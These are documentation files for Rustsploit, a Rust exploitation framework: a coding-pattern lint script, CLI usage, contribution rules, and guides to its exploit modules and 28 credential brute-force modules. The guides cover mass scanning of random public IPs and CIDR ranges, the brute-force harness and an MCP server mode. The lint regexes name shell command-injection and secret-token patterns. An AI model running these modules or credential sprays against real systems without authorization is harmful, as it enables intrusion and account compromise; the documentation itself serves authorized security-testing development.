'\.to_str\(\)\.ok\(\)' '\.json\([^)]*\)\.await\.ok\(\)'
'\.send\(\)\.await\.ok\(\)' '\.text\(\)\.await\.ok\(\)'
# C. Lint suppression
'#\[allow\(' '#\[deny\(' '#\[ignore\b'
# D. Panic vectors
'\b[a-zA-Z_]\w*\[[0-9]+\][^=]'
'\&[a-zA-Z_]\w*\[\.\.\w+\]'
'\&[a-zA-Z_]\w*\[\w+\.\.\]'
'\&[a-zA-Z_]\w*\[\w+\.\.\w+\]'
'\.split_at\(' '\.chars\(\)\.nth\('
# E. Numeric conversions
'\bas\s+u(8|16|32|64)\b' '\bas\s+i(8|16|32|64)\b'
'\bas\s+usize\b' '\bas\s+isize\b' '\bas\s+f(32|64)\b'
'\bas\s+\*const\b' '\bas\s+\*mut\b'
'\btransmute\(' '\bextern\s+"C"' '\bunsafe\s*\{' '\bunsafe\s+fn\b'
# F. Async / blocking pitfalls
'std::thread::sleep' 'std::process::Command'
'std::fs::File' 'std::fs::read\b' 'std::fs::write\b'
'std::net::TcpStream' 'std::net::UdpSocket' 'std::io::stdin'
# G. Logging & output
'\bdbg!\('
'format!\(.*"\{:\?\}".*\b[eE]rr\b'
'\.context\(""\)' '\.context\("\?"\)'
# H. HTTP
'reqwest::Client::new\(\)' 'reqwest::Client::builder\(\)'
'\.send\(\)\.await\?[^.]'
'\.text\(\)\.await\?[^.]'
'format!\("\{:\?\}", \w+\)\.contains\('
# I. Iterator glitches
'\.collect::<Result<Vec<_>,\s*_>>\(\)\.unwrap'
'\.zip\([^)]*\)\.unwrap'
# J. Style / secrets
'== ""' '\.len\(\) == 0' '\.len\(\) > 0'
'String::from\(format!'
'\.clone\(\)\s*\.clone' '\.to_string\(\)\s*\.to_string'
'XXXXXX|TODO|FIXME|HACK\b'
'Bearer\s+[A-Za-z0-9_.-]{40,}'
'sk-[A-Za-z0-9]{20,}' 'AKIA[A-Z0-9]{16}'
'"admin"\s*,\s*"admin"' '"root"\s*,\s*"root"'
'Box<dyn'
# L. Crypto antipatterns (modules)
'\bmd5::compute\b|\bmd5::Md5\b'
'\bsha1::Sha1\b|use sha1::'
'\bdes::Des\b|\b3des\b|TripleDES'
'rand::thread_rng\(\)' 'rand::random\(\)'
'\bRC4\b|rc4::'
'aes_128_ecb|aes-128-ecb|Ecb'
# M. SQL & command injection
'format!\("SELECT[^"]*\{' 'format!\("INSERT[^"]*\{'
'format!\("UPDATE[^"]*\{' 'format!\("DELETE[^"]*\{'
'std::process::Command::new\("/bin/sh"\)'
'std::process::Command::new\("sh"\)'
'\.arg\("-c"\).*format!'
# N. Concurrency / UB
'\bstatic\s+mut\b' 'std::mem::transmute' 'std::mem::forget'
'std::mem::uninitialized' 'std::mem::zeroed'
'std::ptr::read' 'std::ptr::write'
'Result<\(\), String>' 'Result<.*,\s*String>'
# O. Performance / idiom
'\.iter\(\)\.count\(\)' '\.collect::<\(\)>\(\)'
'\.iter\(\)\.map\(\|\w+\|\s*\w+\.clone\(\)\)\s*\.collect'
'\.to_string\(\)\.as_str\(\)'
'Vec::with_capacity\(0\)' 'String::with_capacity\(0\)'
'Regex::new\(.*\)\.unwrap'
'Box::new\(.*Box::new'
# P. Type / API hygiene
'\bpub\s+const\s+\w+\s*:\s*&str\s*=\s*"http'
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Pp]assword'
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Ss]ecret'
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Tt]oken'
)
failed=0
for p in "${PATTERNS[@]}"; do
c=$(xargs -a /tmp/my_files.txt grep -cE "$p" 2>/dev/null | awk -F: '{s+=$2}END{print s+0}')
if [ "$c" -gt 0 ]; then
failed=$((failed + c))
printf " HIT [%4d] /%s/\n" "$c" "$p"
xargs -a /tmp/my_files.txt grep -nE "$p" 2>/dev/null | head -3 | sed 's/^/ /'
fi
done
echo
if [ "$failed" -gt 0 ]; then
echo "BAD_PATTERNS: $failed hit(s) — fix before merge"
exit 1
else
echo "BAD_PATTERNS: clean"
fi
```
## Codebase-wide observations (non-module code — for reference)
A whole-tree run (`find src -name '*.rs'`, ~486 files) for the same matrix
also passes for `.unwrap()`, `.expect(`, `Box<dyn Error>`, `Result<T, ()>`,
`static mut`, `transmute`, `panic!()`, SQL/command injection — the framework
has been progressively hardened. The matches that *do* show up in non-module
code are by-design and explained here so the catalogue and reality stay in
sync:
| Pattern | Where | Why allowed |
|---|---|---|
| `md5::compute` | `src/native/rdp.rs`, `src/modules/creds/generic/postgres_bruteforce.rs` | RDP NTLMv1 / Postgres MD5 password auth — the protocol mandates MD5. |
| `use sha1::` | `src/modules/creds/generic/mysql_bruteforce.rs`, `src/modules/exploits/safeline/pre_auth_tfa.rs` | MySQL native challenge-response uses SHA-1 by spec. |
| `des::Des` | `src/modules/exploits/vnc/*`, `src/modules/creds/generic/vnc_bruteforce.rs`, TightVNC, TP-Link config blob | RFB / vendor blob format spec mandates single-DES. |
| `RC4` (mention) | `src/modules/scanners/ssl_scanner.rs`, `src/native/obfuscator_engine.rs`, `src/modules/exploits/payloadgens/obfuscator.rs` | Scanner enumerates weak ciphers; payload obfuscator implements RC4 as one of 24 obfuscation methods. |
| `rand::random()` | `src/native/rdp.rs`, `src/modules/scanners/snmp_scanner.rs`, `src/modules/scanners/nbns_scanner.rs` | Non-security RNG (transaction IDs, NetBIOS xid). |
| `std::mem::zeroed()` | `src/native/network.rs`, `src/modules/exploits/dos/null_syn_exhaustion.rs` | All inside `unsafe { }` blocks for `libc::sockaddr_*` / `libc::rlimit` / `libc::mmsghdr` (FFI structs). |
| `accept_invalid_certs(true)` / `danger_accept_invalid_certs(true)` | scanners + DoS modules | By design (P4) — security scanners must talk to self-signed targets. |
| `UdpSocket::bind("0.0.0.0:0")` | DoS / scanner / px4 | Binding ephemeral *source* port for outbound — not a listener. |
| `.lock().unwrap_or_else(\|e\| e.into_inner())` | `src/output.rs` (51 sites) | Standard "recover from poisoned mutex by re-using the inner data" — not `.unwrap()`, handles poison gracefully. |
| `Result<(), String>` | `src/spool.rs` (3 sites) | Pre-existing API; `anyhow` migration is a separate refactor task tracked in `audit-findings.md`. |
| `tokio::spawn(bg);` (no await) | `src/modules/scanners/dmarc_check.rs`, `dns_recursion.rs` | Intentional fire-and-forget heartbeats; the framework treats them as best-effort. |
These should *not* be propagated into new modules; the catalogue tables
(LP) document the strict rule.
## What to do when the script reports a hit
1. **Don't** silence with `#[allow(...)]` — that's banned (C1).
2. **Don't** swap one banned pattern for another — e.g. replacing
`.unwrap()` with `.unwrap_or_default()` is *worse* (a panic at least
reports something; a silent default lies).
3. **Do** consult the table for the appropriate fix idiom and use one of the
helpers in `src/utils/network.rs`:
- `crate::utils::http_get_status_body(&client, &url)`
- `crate::utils::http_get_status_headers_body(&client, &url)`
- `crate::utils::header_string(&headers, "name")`
- `crate::native::hex::encode(&bytes)`
- `crate::utils::url_encode(s)`
4. **Do** keep error context as the chain travels up — every `?` should be
on a `with_context(|| ...)?` so debugging a mass scan tells the operator
*which target* and *which step* failed.
## Pattern history (what each fix wave caught)
| Wave | Patterns added | Hits caught and fixed |
|------|---|---|
| 1 — Initial | A1, A2, A3, B1, B4, B5, B8, C1 | 92 modules with at least one match |
| 2 — Wider | A4, A5, A13, A14, B2, B3, B6, B7, B9, C2, A15, J6 | 5 (timeout `Err(_)`, JSON ok-swallow, `_scheme` shims, `Ok(_)` on response) |
| 3 — Deep | D1D5, E1E4, F1F7, G1G3, H1H4 | 8 (debug-format version compare, `as u16/u64` casts, `&buf[..n]` raw slicing, `XXXXXX` placeholder URL, `buf[0]` direct index) |
| 4 — Mega | I1, I2, J1J5, K1, K2 | 0 |
`xargs -a /tmp/my_files.txt grep -cE … | awk -F: '{s+=$2}END{print s+0}'`
**0** for every entry in the matrix above.
+115
View File
@@ -0,0 +1,115 @@
# CLI Reference
Rustsploit modules can be executed without the interactive shell using Clap-based flags. The CLI dispatcher (`src/cli.rs`) maps directly to the same modules used in the shell.
---
## Basic Syntax
```bash
cargo run -- [FLAGS] -m <MODULE> -t <TARGET>
```
Or if using the compiled binary:
```bash
./rustsploit [FLAGS] -m <MODULE> -t <TARGET>
```
An optional positional argument (`exploit`, `scanner`, `creds`) can be used to specify the module category, but it is not required -- the dispatcher resolves modules by name automatically.
---
## Commands
| Flag | Values | Description |
|------|--------|-------------|
| `--module` / `-m` | module name or path | Module to execute (short name or qualified path) |
| `--target` / `-t` | IP / hostname / CIDR | Target to run against |
| `--set-target` | IP / hostname / CIDR | Persist a global target for all modules and exit |
| *(positional)* | `exploit`, `scanner`, `creds` | Optional module category subcommand |
> There is no `-o key=value` flag. Per-module options are configured
> interactively, via `set`/`setg` in the shell, or through a resource script
> (`-r`). Run the module without the option set and answer the prompt, or
> pre-seed it with `setg <key> <value>` in a startup `.rc` file.
---
## Global Flags
| Flag | Short | Description |
|------|-------|-------------|
| `--list-modules` | | Print all available modules and exit |
| `--gen-module-catalog` | | Regenerate `docs/Module-Catalog.md` from the live registry and exit |
| `--list-checkpoints` | | List on-disk scan checkpoints (`~/.rustsploit/checkpoints/`) and exit |
| `--verbose` | `-v` | Enable detailed logging |
| `--output-format` | | Control output: `text` (default) or `json` |
| `--strict-tls` | | Verify TLS for all modules (default accepts self-signed certs) |
| `--api` | | Start the PQ-encrypted REST + WebSocket API server |
| `--mcp` | | Start as MCP (Model Context Protocol) server on stdio |
| `--interface <addr:port>` | | Bind address for API server (default: `127.0.0.1`, port `:8080` appended) — requires `--api` |
| `--pq-host-key <path>` | | PQ host key file (default: `~/.rustsploit/pq_host_key`) — requires `--api` |
| `--pq-authorized-keys <path>` | | Authorized client keys file (default: `~/.rustsploit/pq_authorized_keys`) — requires `--api` |
| `--pq-key-passphrase <pass>` | | Passphrase to encrypt the PQ host key at rest — requires `--api` |
| `--trust-proxy` | | Trust `X-Forwarded-For` for client-IP attribution — requires `--api` |
| `--resource` | `-r` | Execute a resource script file on startup |
---
## Examples
```bash
# Run an exploit
cargo run -- -m heartbleed -t 192.168.1.1
# Run a scanner
cargo run -- -m port_scanner -t 192.168.1.1
# Run a credential module
cargo run -- -m ssh_bruteforce -t 192.168.1.1
# Run using a qualified module path
cargo run -- -m exploits/sample_exploit -t 127.0.0.1
# List all modules
cargo run -- --list-modules
# Run with verbose logging
cargo run -- -m exploits/sample_exploit -t 127.0.0.1 -v
# Run with JSON output
cargo run -- -m port_scanner -t 10.0.0.1 --output-format json
# Execute a resource script
cargo run -- -r scripts/scan.rc
# WhisperPair Fast Pair exploit — interactive BLE sub-shell (needs the bluetooth feature)
cargo run --features bluetooth -- -m exploits/bluetooth/wpair
```
---
## Module Names
Modules can be referenced by:
- **Short name:** `ssh_bruteforce`, `heartbleed`, `port_scanner`
- **Qualified path:** `creds/generic/ssh_bruteforce`, `exploits/heartbleed`, `scanners/port_scanner`
Both forms resolve to the same module via `module::find()` (compile-time `inventory` registry).
Use `--list-modules` or the shell's `modules` command for the authoritative list.
---
## Error Handling & Warnings
| Situation | Message |
|-----------|---------|
| `-m` used without `-t` | `⚠ Warning: --module specified without --target. Launching shell...` |
| `-t` used without `-m` | Target is stored and available in the interactive shell |
---
## Interactive Prompts in CLI Mode
If a module requires additional parameters (e.g., wordlist paths for brute-force), it will prompt interactively even in CLI mode. For automated pipelines, modules should use sensible defaults or accept environment variables where applicable.
+1048
View File
File diff suppressed because it is too large Load Diff
+132
View File
@@ -0,0 +1,132 @@
# Contributing
Contributions are welcome — bug reports, new modules, framework improvements, and wordlist additions are all appreciated.
---
## Workflow
1. **Fork** the repository and create a branch from `main`
2. **Add your module** under the appropriate category in `src/modules/`
3. **Register it** — add `pub mod your_module;` to the sibling `mod.rs`
4. **Run checks:**
```bash
cargo fmt
cargo check
cargo test
```
5. **Open a PR** — describe what the module does, the CVE (if applicable), and how to test it
---
## Module Placement
| Type | Path |
|------|------|
| Exploit | `src/modules/exploits/<vendor_or_category>/` |
| Scanner | `src/modules/scanners/` |
| Credential | `src/modules/creds/generic/` or `creds/<vendor>/` |
| Plugin | `src/modules/plugins/` |
Use subfolders for vendor families (e.g., `exploits/cisco/`, `exploits/cameras/`).
### Recommended: Add Module Metadata
Add an `info()` function describing your module. Rustsploit is **exploitation-only**
— do not add a `check()` / `CheckResult` verification phase; modules run an exploit
and report `Finding`s (see _Auto-Store Findings_ below).
```rust
use crate::module_info::{ModuleInfo, ModuleRank};
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "My Module".to_string(),
description: "What this module does.".to_string(),
authors: vec!["Your Name".to_string()],
references: vec!["CVE-XXXX-YYYY".to_string()],
disclosure_date: Some("2025-01-15".to_string()),
rank: ModuleRank::Good,
default_port: Some(8080),
}
}
```
### Auto-Store Findings
**Native modules (preferred):** Emit `Finding` structs in `ModuleOutcome` — the
scheduler routes them to LootStore, Workspace, and the events bus automatically:
```rust
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Credential,
message: format!("Valid SSH creds: {}:{}", user, pass),
data: Some(serde_json::json!({"username": user, "password": pass})),
});
```
**Legacy modules:** Can still call framework helpers directly:
```rust
crate::cred_store::store_credential(crate::cred_store::NewCred {
host, port: 22, service: "ssh", username: &user, secret: &pass,
cred_type: crate::cred_store::CredType::Password,
source_module: "creds/generic/ssh_bruteforce",
}).await;
```
---
## Code Rules
These rules are enforced across the entire codebase:
- **No `unsafe` blocks.** Do not use `unsafe` Rust anywhere in module code (framework FFI in `src/native/` is the only exception).
- **No dead code.** All code must be intentional and used. Do not leave unused functions, imports, or variables. No `#[allow(dead_code)]` or `_variable` suppression.
- **All prompts must use `cfg_prompt_*()` variants** (from `src/utils/prompt.rs`), not raw `prompt_*()` functions. The `cfg_prompt_*` functions check API custom_prompts and global options before falling back to interactive stdin, which is required for API compatibility.
- **All network connections must use framework wrappers** (`tcp_connect_str`, `tcp_connect_addr`, `blocking_tcp_connect`, `udp_bind`) — never raw `TcpStream::connect` or `UdpSocket::bind`. Third-party libraries must receive pre-connected streams.
- **No error swallowing.** Every `Err(_)` must capture the error variable and log/display it. No `let _ = <result>`.
- See [`BAD_PATTERNS.md`](BAD_PATTERNS.md) for the complete 95+ pattern audit checklist.
## Code Style
- Run `cargo fmt` — no manual formatting required
- Use `[+]` / `[-]` / `[!]` / `[*]` prefixes for output (`.green()` / `.red()` / `.yellow()` / `.cyan()`)
- Keep output concise and actionable
- Document CVE IDs and affected products in comments and output
- No `unwrap()` or `unwrap_or_default()` in critical paths — use `?` with `anyhow::Context`
- All targets pass through `crate::utils::normalize_target` — no custom normalization
---
## Mass-Scan Compatibility
All modules automatically support mass scan via the scheduler's fan-out
(CIDR, file, random, comma-separated targets). **Do NOT implement your own
target iteration or `EXCLUDED_RANGES`.** The scheduler handles exclusions,
concurrency, and honeypot detection.
Module-level requirements for mass-scan compatibility:
- **Use target-specific filenames** — `format!("results_{}.txt", safe_target)`
- **Guard interactive/REPL code** — `if is_batch_mode() { bail!("..."); }`
- **Use framework network wrappers** — never raw `TcpStream::connect`
- **No hardcoded timeouts in probes** — accept the user-configured timeout
---
## Wordlists
- Store under `lists/` and document in `lists/readme.md`
- Prefer Seclists derivations or well-known public sources
- Keep file sizes reasonable — large lists should support streaming
---
## Bug Reports & Ideas
Open a GitHub issue or reach out with PoCs. Feature requests and module ideas are appreciated — please open a discussion before large refactors.
---
> ⚠️ All contributions must target authorized security testing scenarios. Commit messages and module descriptions must reflect controlled research usage.
+282
View File
@@ -0,0 +1,282 @@
# Credential Modules Guide
Best practices for writing and extending brute-force / credential-checking modules.
---
## Preferred Pattern: `creds_helper::run`
New credential modules should use the shared harness in `src/utils/creds_helper.rs`
instead of hand-rolling prompt/engine/loot logic. It handles: target parsing, TCP
precheck, wordlist prompts, brute-force engine wiring, loot persistence, workspace
tracking, and `Finding` emission — all in one call.
```rust
use crate::utils::creds_helper::{self, CredsRun};
use crate::utils::LoginResult;
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("module requires a single-host target")?;
creds_helper::run(
target,
CredsRun {
service_name: "myproto",
default_port: 1234,
source_module: "creds/generic/myproto_bruteforce",
defaults: &[("admin", "admin"), ("root", "")],
password_only: false,
},
|host, port, user, pass, timeout| async move {
probe(&host, port, &user, &pass, timeout).await
},
)
.await
}
```
The probe closure receives five arguments: `(String, u16, String, String, Duration)`.
The `Duration` is the user-configured timeout (from `setg timeout N` or the prompt),
passed through so inner probe functions honour it — no hardcoded timeouts.
For password-only protocols (VNC, SNMP), set `password_only: true` and `drop(user)`
in the closure:
```rust
|host, port, user, pass, timeout| async move {
drop(user);
probe(&host, port, &pass, timeout).await
}
```
### Probe return type
Return `LoginResult` from probes:
```rust
async fn probe(host: &str, port: u16, pass: &str, timeout: Duration) -> LoginResult {
// ... attempt login ...
LoginResult::Success // valid credential
LoginResult::AuthFailed // wrong password, keep going
LoginResult::Error { // transient or permanent error
message: format!("connect: {e}"),
retryable: true,
}
}
```
### Utility functions in creds_helper
| Function | Description |
|----------|-------------|
| `connect_with_timeout(addr, deadline)` | Flattened async TCP connect → `io::Result<TcpStream>` |
| `read_exact_with_timeout(reader, buf, deadline)` | Flattened exact-read with timeout |
| `parse_host_port(target, default_port)` | Public host/port splitter for reuse |
---
## Manual Prompts (non-creds_helper modules)
For modules that don't use `creds_helper::run` (e.g. `ftp_bruteforce` with its FTPS
fallback and subnet branch), prompt interactively for:
- Port number
- Username wordlist path
- Password wordlist path
- Concurrency limit (threads / semaphore slots)
- Stop-on-success toggle
- Output file path
- Verbose logging toggle
Use the shared `cfg_prompt_*` helpers from `crate::utils`, which respect the priority chain (API custom_prompts > global options > interactive stdin):
```rust
use crate::utils::{cfg_prompt_required, cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_port};
```
---
## Input Handling
- **Trim** wordlist entries and skip blank lines
- **Early exit** if a wordlist is empty
- **Validate paths** — no `..`, use `canonicalize()`
- **Stream large files** — for password files >150 MB, use streaming mode (see RDP module)
---
## Concurrency Model
All bruteforce modules use the shared engine (`crate::modules::creds::utils`):
| Function | Use Case |
|----------|----------|
| `run_bruteforce()` / `run_bruteforce_streaming()` | Single-target credential testing with concurrency, progress, retry |
| `run_subnet_bruteforce()` | CIDR subnet scanning with per-host credential testing |
| `generate_combos()` | Generate user/password pairs (combo or linear mode) |
Avoid custom concurrency — always use the engine which handles semaphores, progress reporting, lockout detection, and credential storage.
---
## IPv6 Support
Use `format_addr` to wrap IPv6 addresses in brackets and handle port suffixes:
```rust
// Good
let addr = format_addr(&ip, port); // "[::1]:22"
```
---
## Error Classification
Implement specific error types for better debugging and reporting:
```rust
enum CredsError {
ConnectionFailed(String),
AuthenticationFailed,
CertificateError,
Timeout,
NetworkError(String),
ProtocolError(String),
ToolNotFound,
}
```
---
## Source Port Awareness
All TCP/UDP connections must go through the framework's network wrappers so
`setg source_port <port>` is honoured universally:
| Wrapper | Use case |
|---------|----------|
| `tcp_connect_str(addr, timeout)` | Async TCP from `"host:port"` string |
| `tcp_connect_addr(addr, timeout)` | Async TCP from `SocketAddr` |
| `blocking_tcp_connect(addr, timeout)` | Sync TCP for `spawn_blocking` contexts |
| `udp_bind(Some(ip))` | UDP socket with correct address family |
**Third-party library pattern:** Libraries like `suppaftp` and `telnet` that
normally create their own TCP connections must receive a pre-connected stream
from the framework wrapper:
```rust
// FTP: connect through wrapper, then hand stream to suppaftp
let tcp_stream = tcp_connect_str(&addr, timeout).await?;
let mut ftp = AsyncFtpStream::connect_with_stream(tcp_stream).await?;
// Telnet: connect through wrapper, then hand stream to telnet crate
let tcp_stream = blocking_tcp_connect(&socket_addr, timeout)?;
let telnet = Telnet::from_stream(Box::new(tcp_stream), 500);
```
**Never call `TcpStream::connect()`, `UdpSocket::bind("0.0.0.0:0")`, or
library-level connect functions directly** — they bypass source port binding.
---
## TLS / STARTTLS
Accept invalid certificates for offensive tooling convenience (e.g., `danger_accept_invalid_certs(true)` in reqwest / native-tls), but document this clearly in module comments and output.
---
## Result Persistence
Offer to write `host -> user:pass` pairs to a local file (default `./results.txt`):
```rust
if let Some(ref path) = output_file {
let line = format!("{} -> {}:{}\n", target, user, pass);
fs::OpenOptions::new().create(true).append(true).open(path)?.write_all(line.as_bytes())?;
}
```
---
## Available Credential Modules (28 total)
### Remote Access Protocols
| Module | Port(s) | Auth Method | Features |
|--------|---------|-------------|----------|
| `ssh_bruteforce` | 22 | libssh2 password auth | Default creds, combo mode, streaming wordlists |
| `ssh_spray` | 22 | Password spray | One password across many targets |
| `ssh_user_enum` | 22 | Timing attack | CVE-2018-15473 style user enumeration |
| `telnet_bruteforce` | 23, 2323 | IAC negotiation + prompt detection | Multi-port, 55+ IoT defaults, shell verification, streaming |
| `telnet_hose` | 23, 2323, 23231 | Default creds mass scan | 500 concurrent, multi-port per host |
| `rdp_bruteforce` | 3389 | Native CredSSP/NTLM | NLA/TLS/RDP/Negotiate security levels |
| `vnc_bruteforce` | 5900 | DES challenge-response (RFB) | Password-only, bit-reversed DES key |
| `ftp_bruteforce` | 21 | FTP/FTPS LOGIN | TLS fallback, error classification |
| `ftp_anonymous` | 21 | Anonymous login check | FTPS fallback, LIST verification |
### Email Protocols
| Module | Port(s) | Auth Method | Features |
|--------|---------|-------------|----------|
| `smtp_bruteforce` | 25, 465, 587 | SMTP AUTH (PLAIN/LOGIN/CRAM-MD5) | STARTTLS support |
| `pop3_bruteforce` | 110, 995 | POP3 USER/PASS | TLS/STLS support |
| `imap_bruteforce` | 143, 993 | IMAP LOGIN | IMAPS (implicit TLS), RFC 3501 escaping |
### Database Protocols
| Module | Port(s) | Auth Method | Features |
|--------|---------|-------------|----------|
| `mysql_bruteforce` | 3306 | Native wire protocol (SHA1 handshake) | HandshakeV10 parsing, salt extraction |
| `postgres_bruteforce` | 5432 | MD5 or cleartext auth | Wire protocol, `md5(md5(pass+user)+salt)` |
| `redis_bruteforce` | 6379 | AUTH command (legacy + ACL) | Redis 6+ ACL support, INFO version detection |
| `elasticsearch_bruteforce` | 9200 | HTTP Basic Auth | Cluster detection, open-access check |
| `couchdb_bruteforce` | 5984 | Session auth + Basic fallback | `/_session` POST, `/_all_dbs` verification |
| `memcached_bruteforce` | 11211 | SASL PLAIN (binary protocol) | Open memcached detection, version check |
### Web Protocols
| Module | Port(s) | Auth Method | Features |
|--------|---------|-------------|----------|
| `http_basic_bruteforce` | 80, 443 | HTTP Basic Authentication | HTTPS, custom paths, redirect detection |
| `fortinet_bruteforce` | 443 | FortiOS web login | CSRF token extraction, realm support |
### Network Management
| Module | Port(s) | Auth Method | Features |
|--------|---------|-------------|----------|
| `snmp_bruteforce` | 161 (UDP) | SNMPv1/v2c community strings | Custom SNMP packet, BER parsing |
### IoT / Messaging
| Module | Port(s) | Auth Method | Features |
|--------|---------|-------------|----------|
| `mqtt_bruteforce` | 1883, 8883 | MQTT 3.1.1 CONNECT | TLS/SSL, anonymous detection, client ID |
| `rtsp_bruteforce` | 554 | RTSP Basic Auth | Path brute-forcing, custom headers |
### VPN
| Module | Port(s) | Auth Method | Features |
|--------|---------|-------------|----------|
| `l2tp_bruteforce` | 1701 (UDP) | L2TPv2 SCCRQ detection | Gateway reachability probe (real L2TP credential brute-force needs full PPP+CHAP stack — out of scope) |
### Utility
| Module | Description |
|--------|-------------|
| `enablebruteforce` | Raise file descriptor limits (ulimit) for high-concurrency scans |
| `sample_cred_check` | Template/example credential check module |
| `acti_camera_default` | Multi-protocol default credential check (FTP/SSH/Telnet/HTTP) |
| `camxploit` | Mass camera scanner with port + path + credential testing |
---
## Mass Scanning Support
All 28 credential modules support mass scanning via the framework's multi-target dispatcher. The framework automatically handles:
- **Random targets** (`random`, `0.0.0.0/0`) — generates random public IPs with exclusion-set enforcement
- **CIDR ranges** (e.g., `192.168.1.0/24`) — expands and iterates all hosts
- **File-based targets** — reads one target per line from a file path
- **Comma-separated targets** — splits and runs against each target
Mass scan is handled entirely at the framework level by `scheduler::run`. Modules
do **not** need `is_mass_scan_target()` checks or `run_mass_scan()` calls — the
scheduler fans out every target type and invokes modules with `Target::Single`.
+61
View File
@@ -0,0 +1,61 @@
# Credits
---
## Project
| Role | Name |
|------|------|
| Project Lead | s-b-repo |
| Language | 100% Rust |
---
## Inspiration
- [RouterSploit](https://github.com/threat9/routersploit) — modular embedded exploitation framework
- [Metasploit Framework](https://github.com/rapid7/metasploit-framework) — industry-standard exploitation framework
- [pwntools](https://github.com/Gallopsled/pwntools) — CTF exploit library
---
## Wordlists
- [SecLists](https://github.com/danielmiessler/SecLists) — the majority of bundled wordlists
- Custom additions in `lists/` — documented in `lists/readme.md`
---
## Key Dependencies
| Crate | Purpose |
|-------|---------|
| `tokio` | Async runtime |
| `reqwest` | HTTP client |
| `clap` | CLI argument parsing |
| `anyhow` | Error handling |
| `colored` | Terminal color output |
| `axum` | REST API framework |
| `suppaftp` | FTP/FTPS (v7, tokio async) |
| `hickory-client` | DNS (v0.25, builder pattern) |
| `ipnetwork` | CIDR range matching |
| `rustls` | TLS (v0.23+) |
| `bytes` | Buffer management (`BytesMut`) |
| `subtle` | Constant-time API key comparison |
| `strsim` | Fuzzy module name matching (Levenshtein) |
| `rustyline` | Interactive shell line editing |
| `serde` / `serde_json` | Serialization / JSON persistence |
| `ssh2` | SSH protocol support |
| `des` / `aes` / `cipher` | Cryptographic primitives |
| `chrono` | Date/time handling |
| `uuid` | Unique identifier generation |
---
## Legal
> ⚠️ Rustsploit is intended for **authorized security testing and research only**.
> Obtain explicit written permission before targeting any system you do not own.
> The authors accept no liability for misuse.
Licensed under the terms in [LICENSE](../LICENSE).
+2
View File
@@ -0,0 +1,2 @@
# Donation
+259
View File
@@ -0,0 +1,259 @@
# Exploit Modules Guide
Best practices for writing and extending exploit modules in Rustsploit.
---
## CVE Referencing
Always mention CVE IDs, vendor names, and affected products in:
- The module file docstring / top-level comments
- Output messages (e.g., `[*] Testing CVE-2025-14847 on {}`, target)
- The [Module Catalog](Module-Catalog.md)
---
## Response Validation
Validate server responses before declaring success — false positives hurt credibility:
```rust
if response.status() == 200 && body.contains("expected_indicator") {
println!("{} Confirmed vulnerable: {}", "[+]".green(), target);
} else {
println!("{} Not vulnerable or patched", "[-]".red());
}
```
---
## Error Handling — no `.unwrap()`, no swallowing
> **Note:** Rustsploit is exploitation-only — the `check()` / `CheckResult`
> verification phase was removed. The `check(...)` snippets below are kept only
> to illustrate the error-handling discipline; apply the same patterns in your
> `run(&ModuleCtx) -> Result<ModuleOutcome>` body and emit `Finding`s instead of
> returning a `CheckResult`.
Modules must surface transport and decode failures explicitly. The framework
treats a panicking module as a hard build/runtime failure, and silently
swallowing a failed `send()` or `text()` causes `run()` to lie about what
happened on the wire.
**Forbidden patterns:**
```rust
// .unwrap() / .expect() — panic on error.
let resp = client.get(&url).send().await.unwrap();
// .unwrap_or_default() on Result-returning HTTP calls — turns transport
// or decode failure into an empty body the caller assumes is the real one.
let body = resp.text().await.unwrap_or_default();
// `if let Ok(r) = ...` without an `else` arm — drops the network error
// and silently falls through to "NotVulnerable" / "not detected".
if let Ok(r) = client.get(&url).send().await {
/**/
}
```
**Preferred patterns:**
In `check(...) -> CheckResult`, return `CheckResult::Error(…)` for failures so
operators can distinguish "couldn't reach the host" from "host is patched":
```rust
match client.get(&url).send().await {
Ok(r) => match r.text().await {
Ok(body) if body.contains("foo") =>
CheckResult::Vulnerable("foo detected".into()),
Ok(_) => CheckResult::NotVulnerable("foo not present".into()),
Err(e) => CheckResult::Error(format!("body decode: {}", e)),
},
Err(e) => CheckResult::Error(format!("request failed: {}", e)),
}
```
In `run(...) -> anyhow::Result<()>`, prefer `?` with `anyhow::Context` for
abort-the-flow failures, and use `match` with `crate::mprintln!` when the
loop should report-and-continue:
```rust
use anyhow::Context;
let resp = client.get(&url).send().await.context("probe failed")?;
let body = resp.text().await.context("read body")?;
for path in candidate_paths {
match client.get(format!("{}{}", base, path)).send().await {
Ok(r) => { /* inspect r */ }
Err(e) => crate::mprintln!("{} {}: {}", "[-]".red(), path, e),
}
}
```
**Helpers available** (all in `src/utils/network.rs`, re-exported as `crate::utils::*`):
- `http_get_status_body(&client, &url) -> anyhow::Result<(u16, String)>` — single call that surfaces both transport and body-decode failures via `anyhow::Context`. Use it in `run()` with `let (_, body) = ... .await?;`. Use it in `check()` with `match`.
- `http_get_status_headers_body(&client, &url) -> anyhow::Result<(u16, HeaderMap, String)>` — same but also returns the response headers, for fingerprints that look at `Server` / `Via` / `X-Powered-By`.
- `header_string(headers, "name") -> String` — reads a header as `String`. Returns `""` if absent and the literal sentinel `"<non-utf8>"` if present-but-non-utf8, so the swallow that `.to_str().ok().unwrap_or("")` does silently is now visible in module output. Avoid the older `.to_str().ok().unwrap_or("")` chain — it hides the non-utf8 case.
**The full list of banned patterns lives in [`BAD_PATTERNS.md`](BAD_PATTERNS.md)** — 91 regex patterns covering panicking error handling, silent error swallowing, lint suppression, panic vectors, lossy numeric casts, async/blocking pitfalls, logging discipline, HTTP-client policy, iterator glitches, style and embedded secrets. The doc ships with a copy-paste reproducer that returns a non-zero exit on any hit. Quick-reference banned highlights:
- `.unwrap()`, `.expect("…")`, `.unwrap_or_default()`, `.unwrap_or(…)`, `.unwrap_or_else(…)`, `.to_str().ok().unwrap_or(…)`
- `#[allow(dead_code)]`, `#[allow(unused_imports)]`, `#[allow(unused_variables)]`, any other `#[allow(...)]`
- `panic!()`, `unreachable!()`, `todo!()`, `unimplemented!()`, `assert!`, `assert_eq!`
- `if let Ok(_) = ...` without an `else` (silent fall-through) — use `match`
